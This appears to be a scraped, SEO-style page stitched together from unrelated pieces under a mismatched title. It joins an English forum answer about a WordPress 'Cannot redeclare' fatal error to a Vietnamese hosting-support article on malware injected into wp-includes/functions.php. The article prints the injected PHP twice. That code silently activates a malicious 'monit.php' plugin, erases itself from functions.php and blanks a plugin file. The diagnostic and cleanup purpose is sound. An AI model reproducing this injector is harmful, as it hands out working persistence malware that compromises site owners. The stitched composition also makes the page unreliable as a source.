Fatal error cannot redeclare get_cli_args lỗi năm 2024

I'm working on a website for someone, and everything was going fine until I tried to add a second google font theme to a "theme customizations" custom/functions.php file (from a plugin), and when I tried to publish it I got this message:

Fatal error: Cannot redeclare wpsites_google_fonts() (previously declared in /home/content/a2pnexwpnas03_data03/45/3343945/html/wp-content/plugins/theme-customisations-master/custom/functions.php:21) in /home/content/a2pnexwpnas03_data03/45/3343945/html/wp-content/plugins/theme-customisations-master/custom/functions.php on line 27

And now I can't access any pages on the site or go back into my admin dashboard anywhere to fix it! :(

Any help to fix it would be immensely appreciated!

1 Answer

Fatal error cannot redeclare get_cli_args lỗi năm 2024

Yeah, just in case drag the plug in to your desktop and save there (but am sure yo can just reinstall later) then delete that plug in.

Once you remove it everything should be back to normal.

You wouldn't need FileZilla once you are done but if you are planning on developing more sites you will need something like FileZilla so no Harm in having it.

If in any case that doesn't work then you will need to go into the function.php and remove that extra copy of the code but I don't think you will need to,

Trong quá trình sử dụng mã nguồn WordPress đôi khi bạn sẽ gặp các lỗi phát sinh và làm cho website chỉ hiện lên mỗi thông báo lỗi chung chung như There has been a critical error on your website, bạn cần phải xem nội dung trong tệp tin error_log trên cPanel hoặc Site Summary / Statistics / Logs trên Directadmin. Trong bài viết này mình sẽ đề cập đến một lỗi cũng hiện thông báo tương tự nhưng trong nội dung chi tiết lỗi:

PHP Fatal error: Cannot redeclare true_plugins_activate() (previously declared in /home/username/domainname.com/wp-includes/functions.php:7606) in /home/username/domainname.com/wp-includes/functions.php on line 7665

Nguyên nhân dẫn đến lỗi: PHP Fatal error: Cannot redeclare true_plugins_activate

Phân tích bản ghi lỗi trên ta có thể thấy do hàm true_plugins_activate không tồn tại. Còn trong tệp tin wp-includes/functions.php được thêm nội dung bên dưới từ dòng 7606 trở đi:

function true_plugins_activate() {
  $active_plugins = get_option('active_plugins');
  $activate_this = array(
    'monit.php'
  );
  foreach ($activate_this as $plugin) {
    if (!in_array($plugin, $active_plugins)) {
      array_push($active_plugins, $plugin);
      update_option('active_plugins', $active_plugins);
    }
  }
  $new_active_plugins = get_option('active_plugins');
  if (in_array('monit.php', $new_active_plugins)) {
    $functionsPath = dirname(__FILE__) . '/functions.php';
    $functions = file_get_contents($functionsPath);
    $start = stripos($functions, "function true_plugins_activate()");
    $end = strripos($functions, "true_plugins_activate");
    $endDelete = $end + mb_strlen("true_plugins_activate") + 3;
    if($start && $end) {
      $str = substr($functions, 0, $start);
      $str .= substr($functions, $endDelete);
      file_put_contents($functionsPath, $str);
    }
        $script = file_get_contents('/home/username/public_html/wp-content/plugins/unlimited-elements-for-elementor-premium/class.plugin-modules.php');
    file_put_contents('/home/username/public_html/wp-content/plugins/unlimited-elements-for-elementor-premium/class.plugin-modules.php', '');
  }
}
add_action('init', 'true_plugins_activate');
function true_plugins_activate() {
  $active_plugins = get_option('active_plugins');
  $activate_this = array(
    'monit.php'
  );
  foreach ($activate_this as $plugin) {
    if (!in_array($plugin, $active_plugins)) {
      array_push($active_plugins, $plugin);
      update_option('active_plugins', $active_plugins);
    }
  }
  $new_active_plugins = get_option('active_plugins');
  if (in_array('monit.php', $new_active_plugins)) {
    $functionsPath = dirname(__FILE__) . '/functions.php';
    $functions = file_get_contents($functionsPath);
    $start = stripos($functions, "function true_plugins_activate()");
    $end = strripos($functions, "true_plugins_activate");
    $endDelete = $end + mb_strlen("true_plugins_activate") + 3;
    if($start && $end) {
      $str = substr($functions, 0, $start);
      $str .= substr($functions, $endDelete);
      file_put_contents($functionsPath, $str);
    }
        $script = file_get_contents('/home/username/public_html/wp-content/plugins/unlimited-elements-for-elementor-premium/class.plugin-modules.php');
    file_put_contents('/home/username/public_html/wp-content/plugins/unlimited-elements-for-elementor-premium/class.plugin-modules.php', '');
  }
}
add_action('init', 'true_plugins_activate');

Trong đoạn mã trên ta có thể thấy có một tệp được gọi đến có tên monit.php, tệp này là một tệp tin chứa mã độc nên hệ thống hosting Azdigi sẽ tự động quét với Imunufy 360 và tự động xoá dữ liệu trên tệp tin này. Khả năng cao do mã độc phát sinh từ plugin unlimited-elements-for-elementor-premium.

Các xử lý lỗi: PHP Fatal error: Cannot redeclare true_plugins_activate

Trước tiên ta cần vô hiệu hoá plugin unlimited-elements-for-elementor-premium trước. Cách vô hiệu hoá plugin này khi không thể truy cập được admin chúng ta có thể dụng là sử dụng wordpress cli:

  • Sử dụng WP CLI quản trị thư viện Plugin

Sau khi đã vô hiệu hoá plugin này xong chúng ta cần xoá nội dung mã độc đã thêm vào file wp-includes/functions.php. Lưu ý: Với các thao tác thay đổi dữ liệu các bạn nên backup các file chuẩn bị sửa trước để tránh bị sửa nhầm.

  • Hotline 247: 028 730 24768 (Ext 0)
  • Ticket/Email: Bạn dùng email đăng ký dịch vụ gửi trực tiếp về: [email protected]
  • Click vào website AZDIGI để tham khảo dịch vụ hosting/VPS tốt nhất Việt Nam.

Author Bio

Chào mọi người, mình là Kiên - hiện đang công tác tại Phòng Kỹ thuật AZDIGI. Trong quá trình làm việc mình có cơ hội được tiếp xúc với khá nhiều các vấn đề liên quan đến Website/Hosting/VPS/Server, do đó mình viết lại các hướng dẫn này nhằm chia sẻ kiến thức, cũng như tạo một môi trường để chúng ta giao lưu và học hỏi lẫn nhau, trau dồi thêm nhiều kiến thức bổ ích hơn nữa.